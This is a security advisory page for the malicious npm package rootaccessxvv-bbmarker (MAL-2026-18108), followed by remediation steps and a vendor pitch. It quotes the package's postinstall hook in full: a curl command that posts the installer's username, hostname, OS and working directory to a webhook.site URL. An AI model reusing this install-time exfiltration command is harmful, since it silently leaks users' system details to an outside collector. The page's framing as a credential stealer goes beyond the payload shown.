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Malicious package

rootaccessxvv-bbmarkernpm

Advisory published Updated

rootaccessxvv-bbmarker is a confirmed malicious npm package (MAL-2026-18108) that steals credentials and exfiltrates sensitive data (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in rootaccessxvv-bbmarker (npm)

MAL-2026-18108
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall rootaccessxvv-bbmarker

What this malware does

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.

package.json declares a postinstall lifecycle script that runs on npm install and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to whoami, hostname, uname, and node -v, concatenates the output with the current working directory, and sends the result via curl -X POST. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.

Malicious versions

1 flagged
1.0.2

Indicators of compromise (SHA-256)

126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for rootaccessxvv-bbmarker (version 1.0.2).

  2. If you installed it — respond

    rootaccessxvv-bbmarker is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If rootaccessxvv-bbmarker was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. rootaccessxvv-bbmarker on npm has been identified as a malicious package (version 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021550

References

Credits

  • Amazon Inspector · finder
  • InvisiRisk, Inc. · finder

Detect & block this

O3 blocks rootaccessxvv-bbmarker-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

rootaccessxvv-bbmarker (npm) malicious package — MAL-2026-18108 | O3 Security